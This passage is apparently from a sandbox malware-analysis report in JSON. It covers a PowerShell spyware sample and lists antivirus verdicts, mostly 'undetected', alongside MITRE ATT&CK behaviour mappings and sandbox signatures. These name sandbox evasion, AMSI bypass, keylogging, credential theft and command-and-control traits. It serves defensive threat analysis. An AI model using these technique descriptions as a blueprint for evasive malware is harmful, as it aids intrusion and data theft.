rogress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan[Spy]/PowerShell.Agent","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"IP Addresses","attack_id":"T1590.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1590/005","identifiers":[{"type":"suspicious","value":"Able to evade execution by checking for blacklisted external IPs"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Scripts code detected via AMSI (Antimalware Scan Interface)"},{"type":"informative","value":"Executes a PowerShell script"},{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Contains ability to run commands or expressions (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"informative","value":"Contains reference to WMI activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"malicious","value":"Able to execute commands through Windows command interpreter (ASP)"},{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"suspicious","value":"Creates new processes"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"suspicious","value":"Script file shows a combination of malicious behaviors"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Modifies Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"suspicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"suspicious","value":"Script loads executable in memory (Antimalware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment using user register activity"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Able to delete items (Powershell command string)"},{"type":"informative","value":"Marks file for deletion"},{"type":"informative","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Calls an API typically used to acquire handle to a key container within a CSP"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Defense Evasion","technique":"Compile After Delivery","attack_id":"T1027.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/004","identifiers":[{"type":"suspicious","value":"Invokes the C# compiler"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"suspicious","value":"Reference to an external IP address lookup service identified"},{"type":"informative","value":"Contains ability to retrieve IP Address configuration (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve user privileges (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve instances of WMI objects (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Opens a handle to the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve processes (Powershell command string)"},{"type":"informative","value":"Able to enumerate system processes using native API"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Opens registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"Log Enumeration","attack_id":"T1654","attack_id_wiki":"https://attack.mitre.org/techniques/T1654","identifiers":[{"type":"informative","value":"Able to retrieve event logs (PowerShell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Able to retrieve file and directory information"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","identifiers":[{"type":"informative","value":"Able to check internet connectivity using ping command"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Calls an API typically used to find a SID for the specified name"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Collection","technique":"Data from Removable Media","attack_id":"T1025","attack_id_wiki":"https://attack.mitre.org/techniques/T1025","identifiers":[{"type":"informative","value":"Able to retrieve system driver type"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"informative","value":"Able to compress file/directory using PowerShell cmdlet"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contacts server"},{"type":"suspicious","value":"Spawned process connects to a network"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Command and Control","technique":"Bidirectional Communication","attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","identifiers":[{"type":"informative","value":"Contains ability to upload or download data from a specified domain"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Calls an API typically used to import asymmetric cryptographic keys into a CSP"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"malicious","value":"Script connects to a host without prior DNS lookup"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to BitLocker activity (Powershell command string)"},{"type":"informative","value":"Calls an API typically used to import cryptographic keys into a CSP"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to delete items (Powershell command string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-333","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00007108)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00007108)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00007108)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '2381220937729', 'hResInfo': '2381220938976'}\" (UID: 00000000-00007108)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2381220937729', 'hResInfo': '2381220939008'}\" (UID: 00000000-00007108)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2381220937729', 'hResInfo': '2381220939024'}\" (UID: 00000000-00007108)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2381220937729', 'hResInfo': '2381220938992'}\" (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Sleep\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"Start-Sleep -Milliseconds 40\" (Indicator: \"Start-Sleep\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"} else { Start-Sleep -Seconds $currentSleep }\" (Indicator: \"Start-Sleep\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"} catch { Start-Sleep -Seconds 10 }\" (Indicator: \"Start-Sleep\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API 